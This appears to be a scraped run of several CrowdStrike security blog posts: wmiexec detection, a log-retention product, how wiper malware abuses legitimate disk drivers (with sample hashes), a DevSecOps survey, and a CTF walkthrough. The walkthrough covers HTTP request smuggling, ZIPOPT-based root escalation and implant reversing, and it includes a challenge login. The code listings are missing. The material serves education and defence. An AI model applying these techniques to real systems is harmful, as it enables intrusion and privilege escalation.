The prevention will restrict the threat actor’s ability to issue remote commands to systems that have an active CrowdStrike Falcon endpoint protection agent. As shown in Figure 23, the threat actor will receive a response of “SMB SessionError.” The failure to execute wmiexec is true for the semi-interactive shell (Figure 23), as well as running single commands (Figure 24).

Figure 23. Failure to execute wmiexec due to Falcon Insight IOA (Click to enlarge)

Figure 24. Failure to execute wmiexec tasklist command due to Falcon Insight IOA (Click to enlarge)

Falcon Insight provides detection data for events with the appropriate prevention and IOAs enabled, but telemetry by default will also be useful to identify threat actor activity. Figure 25 shows an example output of an event search in the CrowdStrike Falcon® console to identify all commands issued. By looking at this list, defenders can see the process, cmd.exe; the remote host that executed the command, (threat actor Testing System); and the full process command line. This is all captured in real time and enables defenders to investigate and respond quickly. The process command line should look familiar and shows execution of a handful of commands (cd, whoami and tasklist).

Figure 25. Event search example of wmiexec commands issued (Click to enlarge)

Falcon Forensics

When looking historically at the artifacts discussed in this blog, Falcon Forensics can be a great asset to a defender’s investigation. Falcon Forensics is a run-once script that is easily deployed through RTR or other deployment tools that will capture a variety of forensic artifacts used for forensic triage of a system. The most beneficial advantage to using Falcon Forensics is the variety of sourcetypes and triage data matched with the ability to perform investigations at scale across an entire environment. Considering the artifacts discussed in this blog, there are specific examples that can be used to find evidence of wmiexec execution at scale, and historically. 

Three source types to scratch the surface and highlight when hunting for wmiexec are prefetch, pslist and dirlist. The standard Falcon Forensics executable will not only capture the presence of Prefetch artifacts but also parse the artifact to identify related modules used by the process, similar to parsing Prefetch discussed previously. In Figure 26 below, the whoami.exe Prefetch file contains a module name of the temporary wmiexec artifacts. Using Falcon Forensics across your environment can look for these artifacts at scale.

Figure 26. Falcon Forensics event search example of wmiexec artifacts in Prefetch (Click to enlarge)

In addition to the Prefetch sourcetype, pslist can be used to identify the previously discussed command line artifacts associated with wmiexec that may be still running at the time of Falcon Forensics deployment. Shown in Figure 27, since PowerShell and nslookup will both hang on execution, the processes were still running, which allowed for visibility into the process execution.

Figure 27. Falcon Forensics event search example of wmiexec artifacts in pslist (Click to enlarge)

Lastly, files written to disk are a strong indicator of threat actor activity. In Figure 27 an example of wmiexec execution that failed to clean up is easily identifiable using Falcon Forensics to search for the recognizable common file name format, __<EPOCHTIME>, in C:\Windows.

Figure 28. Falcon Forensics event search example of wmiexec artifacts in dirlist (Click to enlarge)


Impacket, and specifically wmiexec, is a tool increasingly leveraged by threat actors. While defenders should remain vigilant on the usage of Impacket, the strategies discussed in this blog can also be used to dissect and understand other threat actor tool sets to identify avenues for detection and prevention.

Additional Resources

Getting Started Guide: Falcon Long Term Repository

25 August 2022 at 12:37

Limited data retention resulting from financial or technological constraints makes it hard for security teams to see the complete history of an attack. This lack of full context about a threat — or a potential threat — eventually catches up with organizations, leading to longer dwell times and increased risk of a breach. 

CrowdStrike Falcon Long Term Repository (LTR), formerly known as Humio for Falcon, allows CrowdStrike Falcon® platform customers to retain their data for up to one year or longer. Users can then correlate this deep well of information with other data sources to better detect potential threats and search the data with sub-second latency. 

The innovative technology addresses one of the biggest challenges in threat hunting and security awareness: unknown unknowns. Without the context provided by log and event data from across your IT infrastructure, it’s increasingly difficult to investigate incidents and uncover potential attack paths. Despite this, historical retention is often a problem for security teams because of the costs and technological complexity of retaining this data. 

Falcon LTR employs an index-free architecture designed to minimize the storage and computing resources required to ingest and retain data at any scale. It also uses advanced data storage techniques to compress data by 6-80x, reducing total cost of ownership. 

If you’re a Falcon platform customer who wants more data to work with for a longer period of time, Falcon LTR might be right for you. This blog post is the first in a three-part series that will teach you the basics of Falcon LTR and how it can improve your threat hunts, investigations and observability use cases.

Let’s dive in.  

I’ve got a data warehouse. Why do I need Falcon LTR?

Most organizations will ingest log data into their own data warehouse, perform custom analytics and investigations, and define an event-retention policy based on the storage available. Falcon LTR improves upon this approach in four main ways:

  1. Longer data retention. Falcon LTR allows you to keep data for as long as you need, including more than one year. With longer data retention, security teams can identify potential threats faster and conduct sub-second searches on log data. This speed enables threat hunting and troubleshooting at an unprecedented scale.
  2. Reduced cost. Legacy log management platforms make it cost prohibitive due to extensive infrastructure and storage requirements to retain log data long term. Falcon LTR offers long-term retention that requires minimal storage and computing resources, thus costing much less than what you might be used to.
  3. Fast and custom search. Humio, the log management technology that powers Falcon LTR, offers a feature-rich query language and index-free architecture. This allows customers to get immediate answers from their Falcon data via real-time dashboards, custom searches and prebuilt integrations.
  4. Smarter investigations. By ingesting your Falcon data into Falcon LTR, it instantly becomes searchable alongside other data sources, such as firewall logs and network telemetry. Now, findings from one log source can be used to trigger associated searches across other logs sources — enabling proactive threat hunting and investigations.

How does Falcon LTR work?

Falcon LTR relies upon a mechanism that transports Falcon data into Falcon LTR. This mechanism is called Falcon Data Replicator (FDR). Customers who license Falcon LTR get free access to FDR to ingest their Falcon logs. Please review the technical support feature guide to gain a full understanding of the requirements before enabling FDR.

Below is a high-level overview of the FDR data flow. As you can see, endpoints generate raw event data which is ingested into CrowdStrike Threat Graph®. FDR places the raw event data into an AWS S3 bucket, and enables users to bring that data into Falcon LTR for long-term retention and analysis. 

“With Falcon LTR, we were able to save approximately $150,000 in the first year. Also, the ability to save data for an extended time period is critical. When we detect an indicator of compromise, we can go back in time and analyze the entire attack chain to accelerate investigations and pinpoint issues more quickly.” —Tom Sipes, Director of IT Security and Compliance, Tuesday Morning

How do I get Falcon LTR?

To start, contact your CrowdStrike account manager or CrowdStrike Support, and ask to have FDR enabled on your account. The team will create a CrowdStrike-managed AWS S3 bucket for short-term storage purposes, as well as a SQS (simple queue service) account for monitoring changes to the S3 bucket. By default, this S3 bucket has a seven-day retention policy because data is intended to be pulled out for longer-term retention, which Falcon LTR provides. 

To learn more about Falcon LTR capabilities and licensing, contact your CrowdStrike account manager.

If you enjoyed this post, don’t miss the next two in the series, “Improve Threat Hunts with Long-Term, Cost-Effective Data Retention” and “Use Falcon Data for Greater IT Visibility.”

Additional Resources

The Anatomy of Wiper Malware, Part 2: Third-Party Drivers

In Part 1 of this four-part blog series examining wiper malware, we introduced the topic of wipers, reviewed their recent history and presented common adversary techniques that leverage wipers to destroy system data. 

In Part 2, CrowdStrike’s Endpoint Protection Content Research Team discusses how threat actors have used legitimate third-party drivers to bypass the visibility and detection capabilities of security mechanisms and solutions.

Third-Party Drivers

For a wiper developer, there are several good reasons to switch operations into kernel space. When it comes to overwriting disks, user mode has certain limitations and is intensely monitored by AV/XDR vendors through hooking various APIs and blocking select actions. With the release of Windows Vista, Microsoft began restricting access to raw disk sectors from user mode. To bypass this, wiper developers began to drive their attack through the kernel space.

Threat actors may attempt to write their own kernel drivers, but this approach is difficult for a number of reasons. One is related to the lack of segregation between processes or drivers in Kernel space; anything can write to anywhere with no restriction. With no room for error, the machine may easily destabilize and crash. Another is that modern Windows 64-bit requires drivers to be signed by Microsoft.

Rather than writing their own kernel drivers, malware authors often resort to using drivers developed by third-party entities in order to achieve their goals. Some notable examples of wiper families that use third-party drivers include Destover, DriveSlayer, Shamoon, Dustman and ZeroCleare. Most of these leverage different versions of the ElRawDisk driver developed by Eldos, with the exception being DriveSlayer, who uses a driver developed by EaseUs.

ElRawDisk Driver

The ElRawDisk device driver, developed by Eldos (now part of Callback Technologies), is used by several wiper families such as Destover, ZeroCleare, Dustman and Shamoon. The driver is used as a proxy to transfer actions from user mode into kernel mode and ensures that all disk operations are done on behalf of the driver, not the wiper process. This technique removes any limitations user mode processes might encounter when writing files or interacting with the disk directly. Since this is a third-party driver, the malware must implement a way to install it on the infected machine. Usually this is achieved by dropping the driver to disk and loading it via the Service Control Manager APIs, or the sc.exe tool. Legitimate drivers are also seen as “clean” by security vendors and it would not be blocked when they are installed. 

ZeroCleare and Dustman use an unsigned version of ElRawDisk driver that is loaded using Turla Driver Loader (TDL). TDL installs a signed and vulnerable VBoxDrv driver. This driver is exploited to mimic the functionality of a driver loader and the unsigned ElRawDisk driver is mapped in kernel mode without having to patch Windows Driver Signature Enforcement (DSE).

After loading the driver, the wipers must grab a handle to it via CreateFile and provide a key in order to authenticate to the driver. The key is appended to the device name, and parsed out by the driver. If no valid key is supplied, the return value will be INVALID_HANDLE_VALUE. While this seems like a good idea to limit unauthorized access to the driver, in reality threat actors can reverse engineer the legitimate applications that use the ElRawDisk drivers and extract a copy of the key. Then they use that key to impersonate the legitimate tool and achieve their goals. Analyzed wipers use different keys for the ElRawDisk driver.

Figure 1. Open handle to ElRawDisk device with the serial key appended to the device name

Shamoon retrieves information about the location of the file on the raw disk by sending the FSCTL_GET_RETRIEVAL_POINTERS control code to the ElRawDisk device via the DeviceIoControl API. This information is later used to determine the raw sectors of the file that needs to be wiped.

Figure 2. Send FSCTL_GET_RETRIEVAL_POINTERS via DeviceIoControl API

Shamoon attempts to wipe the entire disk, not only the files. In order to do so, it requests partitioning information by sending the IOCTL_DISK_GET_PARTITION_INFO_EX IOCTL to the ElRawDisk driver. The partitioning information helps the wiper to determine what sectors to overwrite. To accomplish this, the wiper opens a handle to a specific partition via CreateFile and overwrites the sectors using WriteFile and SetFilePointer APIs. Shamoon writes a JPEG image to the sectors, rendering the operating system unstable and may crash at any point in time.

Figure 3. Send IOCTL_DISK_GET_PARTITION_INFO_EX via DeviceIoControl API

The code trace from Figure 4 exemplifies how wipers overwrite raw disk clusters by proxying activity via the ElRawDisk device.

Figure 4. API trace view demonstrating how the EPMNTDRV is used to wipe the disk

ZeroCleare and Dustman use the driver a bit differently than Shamoon. Once the ElRawDisk driver is loaded using TDL and a handle to the driver is obtained, it calls DeviceIoControl using one of two different IOCTLs (0x22BF84 or 0x227F80), depending on the Windows version. This call is capable of overwriting the contents of the physical drive with a message (as in Dustman wiper), or a buffer with the same byte value (as in ZeroCleare wiper).

The following figure is used in both ZeroCleare and Dustman wipers. The customdata buffer contains the data that is used to overwrite the contents of the physical drive.

Figure 5. How ZeroCleare and Dustman use the ElRawDisk to overwrite the disk with a custom buffer

As seen in the ElRawDisk driver version used by Dustman and ZeroCleare, both these two IO control codes translate to the same function call. The following snippet cannot be found in the driver used by Shamoon because it’s an older version.

Figure 6. Examples of two custom IOCTL codes from the ElRawDisk driver


EPMNTDRV is another example of a driver developed by a legitimate entity being used for malicious purposes by threat actors. This driver is developed by EaseUs for their partition manager utility. Back in March of 2022, the DriveSlayer wiper used this driver against Ukraine. It was kept inside a LZA compressed resource and loaded via the Windows Service Control Manager APIs after it was written to disk by the malware. In the following figure, we can observe the main function of the EPMNTDRV driver. It creates the device and a symbolic link followed by initialization of the DRIVER_OBJECT structure with the necessary dispatch routines.

Figure 7. Main function of the EPMNTDRV initiating various dispatch routines

Similarly to the previous driver, it allows any user-mode process to interact with the disk by proxying actions through itself. Interaction is achieved via dispatch routines like IRP_MJ_CREATE, IRP_MJ_WRITE as well as IRP_MJ_DEVICE_CONTROL. To interact with the driver, the process needs to open a handle to the device via CreateFile and provide a path like “\\.\EPMNTDRV\[value]”, where [value] represents the ID of the disk. The driver will then allow the user to operate on the “\Device\Harddisk[value]\Partition0” device through it.

Figure 8. Pseudocode view of the IRP_MJ_CREATE dispatch routine from EPMNTDRV driver, showcasing how it opens a handle to the local disk (\Device\Harddisk%u\Partition0)

In the IRP_MJ_CREATE routine of the driver, a pointer to the “\Device\Harddisk%u\Partition0” is obtained via IoGetDeviceObjectPointer and IoGetAttachedDeviceReference APIs and stored in a global variable to be later used in the other dispatch routines.

Figure 9. Pseudocode view of the IRP_MJ_WRITE dispatch routine from EPMNTDRV driver, showcasing how an IRP request is created and sent to the driver handling the HardDisk device.

The IRP_MJ_WRITE handles the write requests coming from the user mode process.and forwards them to the driver handling the disk operations. In order to achieve this, the driver makes use of the IoBuildAsynchronousFsdRequest API to construct an IRP request and sends it to the driver via the IofCallDriver API.

Figure 10. Pseudocode view of the IRP_MJ_DEVICE_CONTROL dispatch routine from EPMNTDRV driver, showcasing how IO control codes are forwarded to the HDD device driver

The the user mode process send a IOCTL to the EPMNTDRV device, the dispatch routine handling IRP_MJ_DEVICE_CONTROL requests is called and it forwards the requests to the driver handling disk operations via the IoBuildDeviceIoControlRequest and IofCallDriver APIs.

Figure 11. Pseudocode from DriveSlayer displaying how to data is sent to the third-party driver in order to overwrite the disk

Now that the EPMNTDRV driver is installed, the wiper can grab a handle to it via CreateFile and use standard WriteFile and DeviceIoControl APIs in order to send data to the driver. All requests from user mode are then forwarded to the disk driver. Now, the malware can now wipe the MBR, MFT, and files on behalf of the legitimate driver.

How the Falcon Platform Offers Continuous Monitoring and Visibility

The CrowdStrike Falcon® platform takes a layered approach to protecting workloads, harnessing over a trillion data points analyzed daily in the CrowdStrike Security Cloud. Combining on-sensor and cloud-based machine learning, industry-leading behavioral analysis to fuel indicators of attack (IOAs) (including recently announced AI-powered IOAs), and advanced threat intelligence the Falcon platform provides users with holistic attack surface visibility, unparalleled threat detection and continuous monitoring for any environment, reducing the time to detect and mitigate threats.

Figure 12. Falcon UI screenshot showcasing detection of DriveSlayer by the Falcon sensor. (Click to enlarge)

Figure 13. Falcon UI screenshot showcasing detection of Shamoon by the Falcon sensor. (Click to enlarge)


Multiple wiper families leverage legitimate third-party kernel drivers as proxies for running malicious activities. This provides the wipers with multiple advantages; enabling them to operate in a stealthy manner and bypassing several security products. A kernel implant provides limitless capabilities for the attacker, including easy access to the entire disk, without the operating system getting in the way. Many of the wipers we’ve analyzed use legitimate drivers to wipe raw disk sectors and, in some instances, protected files. The main weakness of this approach is that wiping raw sectors will destabilize the operating system, making it liable to crash at any moment. Crashing the OS may be in the victim’s advantage because this would halt wiping operations and potentially allow the victim to recover some of their data. 

In Part 3 of this wiper series, we will discuss additional and less frequently utilized techniques implemented by various wiper families.


Wiper name SHA256 hash value
Apostle 6fb07a9855edc862e59145aed973de9d459a6f45f17a8e779b95d4c55502dcce


CaddyWiper a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea
Destover e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a
DoubleZero 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe


DriveSlayer 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da



Dustman f07b0c79a8c88a5760847226af277cf34ab5508394a58820db4db5a8d0340fc7
IsaacWiper 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033


IsraBye 5a209e40e0659b40d3d20899c00757fa33dc00ddcac38a3c8df004ab9051de0d
KillDisk 8a81a1d0fae933862b51f63064069aa5af3854763f5edc29c997964de5e284e5


Meteor and Comet/Stardust 2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b




Ordinypt ​​085256b114079911b64f5826165f85a28a2a4ddc2ce0d935fa8545651ce5ab09
Petya 0f732bc1ed57a052fecd19ad98428eb8cc42e6a53af86d465b004994342a2366



Shamoon e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a






SQLShred/Agrius 18c92f23b646eb85d67a890296000212091f930b1fe9e92033f123be3581a90f


StoneDrill 62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260



Tokyo Olympic wiper fb80dab592c5b2a1dcaaf69981c6d4ee7dbf6c1f25247e2ab648d4d0dc115a97


WhisperGate a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92



ZeroCleare becb74a8a71a324c78625aa589e77631633d0f15af1473dfe34eca06e7ec6b86

Additional Resources

  • Find out more about today’s adversaries and how to combat them at Fal.Con 2022, the cybersecurity industry’s most anticipated annual event. Register now and meet us in Las Vegas, Sept. 19-21! 
  • Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.
  • Get a full-featured free trial of CrowdStrike Falcon Prevent™ and see for yourself how true next-gen AV performs against today’s most sophisticated threats.

GitOps and Shift Left Security: The Changing Landscape of DevSecOps

23 August 2022 at 12:45

Application developers have always had a tricky balance to maintain between speed and security, two requirements that may often feel at odds with each other. Practices that increase speed also pressure development teams to ensure that vulnerable code is identified and remediated without slowing development. As companies embrace digital transformation initiatives, the need to weave better security into developers’ workflows has only grown clearer. 

And the Survey Says …

But just where are enterprises on this journey? In a new report, “Walking the Line: GitOps and Shift Left Security,” analyst firm Enterprise Strategy Group (ESG) found that the majority of app developers and IT and cybersecurity decision-makers recognize the need to bake security into the development process and their organizations are ready to spend money to do so. Yet technical and other challenges remain. 

Key findings of the report include:

  • Organizations recognize the need to incorporate security into the development process. Sixty-eight percent of respondents said adopting developer-focused security solutions and shifting some security responsibilities to developers was a high priority for their organization. Additionally, 69% said their organization plans “significant investments” in security solutions that can be integrated into their cloud-native software development processes.
  • Most security teams are “mostly comfortable” or “completely comfortable” with developers taking responsibility for security testing. Still, when asked about challenges, some respondents expressed fears that developers would be overburdened. 
  • The cloud-native cybersecurity threat landscape is getting riskier. Nearly every IT pro surveyed encountered incidents and related consequences in the past year. The most common issues were attacks leveraging the insecure use of APIs, exploits that took advantage of known vulnerabilities in internally developed code, and compromised service account credentials.
  • Modern development practices increase speed but also security risks. As the use of infrastructure-as-code (IaC) has grown, security has become a significant issue. More than 80% reported an increase in IaC template misconfigurations. The impact of these misconfigurations ran the gamut from unauthorized access to applications and data to the introduction of crypto-jacking malware.

The Cybersecurity Threat Landscape Is Intensifying

The emphasis on integrating security into the development process could not have come at a more crucial time. Only 3% of respondents said they had not experienced one of the security incidents related to internally developed cloud-native applications and listed in the chart below in the past 12 months. At the same time, 38% said they had suffered an attack that resulted in data loss due to the insecure use of APIs.

Source: “Walking the Line: GitOps and Shift Left Security,” Enterprise Strategy Group (ESG)

When asked what elements of the cloud-native application stack they feel are most susceptible to compromise and therefore represent the greatest risk, respondents most often selected APIs followed by data storage repositories and internally developed application source code. 

The good news is that awareness of these challenges appears to be driving organizations to shift security left. During the next 12 to 18 months, 34% said improving application testing will be a top investment priority for their cloud-native application security plans. Thirty-one percent named applying runtime API security controls a top priority, and 31% said the same about detecting secrets that have been committed and stored in source code repositories.

The Impact of Shift Left Security 

Shifting security left does not always happen smoothly. When asked what challenges their organization faces when it comes to having developers take on more security responsibilities, 44% said “developers would be overburdened with security responsibilities or tools.” Forty-two percent said they did not feel developers are qualified to take over security duties, and 43% responded that “the whole process would make more work for the security team.”  

Some of those surveyed felt that developers are not always comfortable handling security due to friction: 46% said developers view security tasks as disruptive to development processes, and 44% said developers felt the security team should be doing the security work. This shows that in addition to facing some integration and technical challenges, organizations will have to overcome such workplace cultural issues if they are going to succeed in shifting left. 

Walking the Line 

Security is not meant to be a red light on the road to your business goals. It is meant to enable you to reach those goals safely and with minimal risk, and increasingly, organizations understand they need to integrate security into their development processes to do that. Organizations looking to walk the line should use solutions like, CrowdStrike Cloud Security, to integrate security early into the continuous integration/continuous delivery (CI/CD) pipeline in a way that is automated, frictionless, and empowers developers to deliver applications without decreasing speed. 

To learn more about the challenges organizations face with faster cloud-native development lifecycles and how developers and security teams work together, download the report here.

Additional Resources

Adversary Quest 2022 Walkthrough, Part 3: Four PROTECTIVE PENGUIN Challenges

In July 2022, the CrowdStrike Intelligence Advanced Research Team hosted the second edition of our Adversary Quest. As in the previous year, this “capture the flag” event featured 12 information security challenges in three different tracks: eCrime, Hacktivism and Targeted Intrusion. In each track, four consecutive challenges awaited the players, requiring different skills, including reverse engineering, vulnerability analysis and exploitation, and cryptanalysis.

This blog post describes our intended approach to solving the challenges of the Targeted Intrusion track. In this track the players were asked to analyze new activity by PROTECTIVE PENGUIN, an adversary that has returned since making an appearance in last year’s Adversary Quest.. The objective of PROTECTIVE PENGUIN was described as follows:

The Antarctic-based APT, tracked under the name PROTECTIVE PENGUIN, first appeared last year. This actor is born out of the necessity to protect their Antarctic colonies from discovery. Due to some research of human scientists near undiscovered locations of this sentinel wildlife, PROTECTIVE PENGUIN improved their technological skills and procedures to prevent further discoveries of their black sites and hidden colonies. There is evidence that a special operations team of PROTECTIVE PENGUIN broke into a research facility and compromised computers there. We need you to find out how the actor made it through the security mechanisms and what the compromised servers are all about.

Challenge #1: “FrontDoor”

A new activity cluster around the cyber threat actor known as PROTECTIVE PENGUIN was discovered. We were asked to investigate the cyber activity around a physical breach into a research institute located in the antarctic. The black ops unit that gained physical access to the location by bypassing several security mechanisms is presumably in connection to PROTECTIVE PENGUIN. It is currently assumed that the unit infected unknown air-gapped devices inside the location.

The institute that was breached is protected with smart locks at each door. The actor likely exploited a flaw in the door access controller (reachable at to open doors without a PIN. Please analyze the pin pad for us and reproduce the exploit against the system.

The challenge consists of two scripts: and A quick look reveals that both files are Python scripts, using flask to provide an HTTP web service. The comments at the top of both files indicate that the webservice of is exposed to the network while the web service of is bound to and used by as a backend service.. A comment in indicates that this service communicates with the smart locks to open and close the doors.

Since is not reachable directly, all requests to open any door must go through the application implemented by A quick review of reveals that the web service provides three endpoints to communicate with:

  1. /
  2. /api/door/open
  3. /api/status

The resource / can be fetched via a HTTP GET and will yield a panel to insert a PIN if a proper door_id is provided as a URL parameter (for example /?door_id=42).

The web page and its routine to verify a PIN and open a door can be inspected, for example, with the browser’s built-in Developer Tools. This reveals that clicking the “unlock” button triggers a function that sends the given PIN and the door_id back to — specifically to the endpoint /api/door/open using HTTP POST.

A source code review of the corresponding handler for this endpoint shows that the challenge is not to enter the correct PIN, because that is generated using a secure random number generator:

However, the function reveals something else interesting: the behavior of how the frontend and the backend communicate with each other. If the correct PIN were entered, the would send another HTTP POST request to the backend’s /api/door/open resource, passing the door_id and the uid of the user (the uid is set automatically with a random value).

Therefore, acts as an HTTP reverse proxy if the resource /api/door/open is called with a correct PIN. Similar behavior can be seen in the handler for /api/status in, where even an unauthenticated user can interact with the backend and all request data is passed through unmodified.

As shown by the following source code excerpt of the handler for /api/status (, the request body as well as the headers for the request are controllable by the client by setting the X-Backend-Info header:

The Backend aka.

The backend service is provided by the script A source code review shows that this server provides two endpoints to

  1. /api/door/open 
  2. /api/status

In addition, the script also implements some basic session control where the status of the door is stored for each user:

A request to /api/door/open of the backend will physically open the door and store its new status “unlocked.” As shown in the source code excerpt below, the flag is stored and returned as part of the status if and only if the door_id was 17:

This endpoint does not include any authentication check, but any request must go through the handler — where authentication is implemented as shown above.

The second resource /api/status is used to fetch the status of a door, which is “locked” by default, or the value written by the handler of /api/door/open:

To summarize, the following graphic shows the communication between the client and the frontend server as well as the communication between the frontend server and the backend server. The client sends two requests where one request needs to provide a correct pin (which is not possible) and the second request is proxied without any further requirements.

(Click to enlarge)

HTTP Request Smuggling

For a successful attack, an attacker must be able to call the handler of /api/door/open on the backend without going through the corresponding frontend handler that implements authentication. This can be achieved using HTTP request smuggling. The idea of this technique is to hide one request behind another, so that the frontend server sees only one request but forwards both to the backend server, which treats them as separate requests again. With that, a request can be routed to the backend server that should be authenticated but is not — undercover, appended to a request that does not require authentication.

In an HTTP request smuggling attack, attackers send conflicting information about how the HTTP server is to determine the length of the request. In particular, they would normally send both a Content-Length header and specify to use chunked encoding by sending a  Transfer-Encoding: chunked header. Receiving both length specifications, the server must then decide whether to use the specified content length, or use chunked encoding. If the frontend server and the backend server disagree on the method, HTTP request smuggling is possible. A more detailed explanation on HTTP request smuggling can be found on the PortSwigger Web Security Academy.

In our specific case, there’s a bit of a twist from usual HTTP request smuggling scenarios: the frontend implementation lets attackers inject arbitrary HTTP headers into the request that the frontend sends to the backend for an incoming request to /api/status. This resource does not have an authentication check, so even an unauthenticated user has full control over the headers and the data that is being forwarded to the backend. It is therefore possible to inject a Transfer-Encoding: chunked header to make the backend server parse the forwarded request differently than the frontend, which will use the Content-Length header. With that, an attacker can include a subsequent request to /api/door/open that is ignored (treated as part of the request to /api/status) by the frontend, but processed as a legitimate request to open a door by the backend. 

The proof-of-concept request can be visualized as follows:

(Click to enlarge)

The following Python script implements this attack:

Running the script will unlock the door and fetch the flag:

Challenge #2: “Backup”

We believe that the actor has accessed a terminal after breaking into the research facility. You can reach it via by using the credentials challenge:haed5Oof$oShip6oo.

Our incident responders have identified an implant that must have been installed as root. Can you figure out how the assumed escalation from challenge to root may have been facilitated?

The challenge implements a backup service. Under the hood, it uses the SUID wrapper binary backup that executes the shell script as root. Eventually, zip is used to do the archiving. While the PATH environment variable gets reset, other variables are passed to zip without sanitization. Therefore, attackers can pass maliciously crafted environment variables to zip and alter its intended behavior.

Per challenge description it is expected that the players analyze the provided virtual machine image and exploit a privilege escalation vulnerability on a remote server that hosts the flag. SSH credentials for the challenge user are provided in the description. One common way of escalating privileges is through insufficiently secured SUID binaries. If the file system is searched for SUID binaries, the backup binary will stand out as it is located under /usr/local/sbin/.

This location is intended for binaries that should run as root (sbin/) and have not been installed through the package manager of the distribution (local/). Other pointers to that binary include the systemd unit file backup.service and the systemd timer backup.timer that triggers the service.

The binary’s main function is rather short and can be decompiled by using IDA Pro or Ghidra.

This shows that both the real user ID (uid) and the real group ID (gid) of the process are set to zero, which is the value of the effective user ID (euid) if the process is running as root (lines 7 and 8). Then, the argument vector argv for a new process is prepared (L9-L11). Finally, execv() is executed with /bin/sh and the prepared vector as arguments effectively instructing /bin/sh to interpret the shell script at /usr/local/sbin/

The script is also rather short. First, the PATH environment variable is set to a fixed value (line 3). Then, the path to a ZIP file is derived from the current date and time by invocation of the date binary (line 8). Finally, zip is being used to compress the directory /etc and the resulting ZIP file is stored under /srv/backup.

Under these circumstances it is possible to pass an almost arbitrary environment to the script with PATH being the only exception as it is reset by the script itself. By studying the manual pages of the programs date and zip, one inevitably comes across the ZIPOPT variable that has a huge impact on zip’s execution: arbitrary command line arguments can be injected through this variable and several opportunities exist to access the flag.

Option #1 — Archiving the Flag

ZIPOPT can be used to specify additional files that should be archived as well as the location that the resulting ZIP file gets written to. For example, the flag at /root/flag.txt can be added and the resulting ZIP file can be stored at a location that can be accessed by the user challenge:

Option #2 — Spawning a Shell

ZIPOPT can be used to specify a custom command that gets executed in order to verify the produced ZIP file. This feature can be abused to obtain an interactive shell:

Option #3 — Overwriting

ZIPOPT can be used to specify options that make ZIP update an existing archive. Additionally, the output stream for the resulting archive can be redirected to overwrite arbitrary files. The output becomes a concatenation of the existing archive and the result of the update operation. If the existing archive is crafted carefully, shell commands can be injected into the resulting archive. This makes it possible to overwrite and inject arbitrary shell commands. These commands will get executed as root once the SUID binary backup is executed. was crafted in such a way that it will create a SUID-enabled copy of Bash under /bin/bash2. The code was injected into the content of an uncompressed file named cmd.txt. After setting ZIPOPT accordingly, the execution of backup wrote to /usr/local/sbin/ and appended the directory entry for /etc to that ZIP archive. The last execution of backup resulted in the execution of and eventually executed the injected shell commands:

A more involved approach is to inject a shell command into the header of a ZIP archive. In the following example, the fields “compression method”, “modification time”, “modification date” and the CRC-32 ranging from offset 0x8 to 0x12 of the first file named x got overwritten. The path /tmp/x is enclosed in newline characters to ensure that it is parsed and executed correctly by the shell. The archive can be used in the same way as Subsequent execution of the backup binary will then execute arbitrary commands from the file /tmp/x as root.

Challenge #3: “Lights Out”

Unfortunately, the incident response team informed us about further unknown activity on another air-gapped device. They found mysterious files on the host, but they were unable to analyze the samples. We need you to find out what they were used for.

An initial review of the files reveals that two files are ELF executables while the third file has an unknown format:

Executing the binary i on the correct hardware (Raspberry Pi) or in QEMU results in a segmentation fault, while tracing system calls reveals that the program tries to open the file /mnt/git-infrastructure/network-services.password.

(Click to enlarge)

This short insight also shows that another file (/tmp/.Font-Unix) is opened for writing and the implant immediately writes data to its beginning. We now try to create the first file and fill it with some data and trace the execution again:

(Click to enlarge)

Two observations become important here:

  1. The second binary lds should be stored as /usr/bin/lds and is used to process the created file /tmp/.Font-Unix.
  2. The resulting file /tmp/.Font-Unix has the same size as the input file network-services.password. Our initial hypothesis is that data from network-services.password is encrypted with an unknown scheme and written to /tmp/.Font-Unix.

Using this information, we copy lds to /usr/bin/lds and after this, the execution no longer segfaults. If run on a Raspberry Pi, it is now observable that the LEDs are blinking while running the program. If using an emulated environment, we can observe that the program tries unsuccessfully to open /sys/class/leds/led0/brightness. Essentially, there are two approaches now to solve this challenge:

  1. analyzing the crypto
  2. reversing the binary i


With the possibility to control the plaintext it can be found out how the cipher works, at least approximately. The following excerpt from the systematic generation of ciphertexts based on chosen plaintexts shows that the cipher substitutes each character and that all subsequent characters are influenced by a change in one prior plaintext character:

In addition, the length of the plaintext has an effect on the resulting ciphertext:

Putting these insights together, the plaintext can be recovered by trying every possible plaintext character (256 choices) for every position:

The script’s output is as follows:

Reversing i

The binary can be disassembled and decompiled using Ghidra for example. The decompilation shows that the entry point calls main (this label was assigned manually) via the common function __libc_start_main(), as most other binaries as well:

(Click to enlarge)

The disassembly of this function main reveals a common function prologue (stack preparation), and an instruction at 0x103e4 to store the current program counter in register r7 and jump to another location labeled FUN_00010484.

(Click to enlarge)

Between the jump instruction and this function there is a large data block that is not identified as code by Ghidra — which will become interesting later. It is also important to note that “In ARM state, the value of the PC is the address of the current instruction plus 8 bytes.” according to the ARM developer documentation. Therefore, r7 holds the value 0x103ec after pc is copied into it at 0x103e4. The address of the yet unknown data (located between the jump instruction and the function FUN_00010484) is stored in register r7

The disassembly of the code block FUN_00010484 shows that there is some preparation of register r7 — an offset is added to r7, but the offset is computed by the registers r5 and r8 both of which are not set right before.

The obvious approach to determine the value of register r7 at the end of this block is to load the program into a debugger, set a breakpoint at address 0x1049c and inspect the register r7. Trying this using gdb, we see that gdb is not able to run the program:

The tool readelf can be used to inspect the ELF binary, especially its header. We see that the tool has issues due to an out of range offset stored in the section header string table index.

There are different approaches to solving this. One is to manually fix the header (section header string table index). A compilation of a simple test program reveals a pattern that can be used to fix the header. Two observations are relevant:

  1. a stripped test binary (simple “hello world” compiled) has 27 section headers and a section header string table index of 26.
  2. The start of section headers is located directly behind the .shstrtab section, which can be identified using a hexdump.

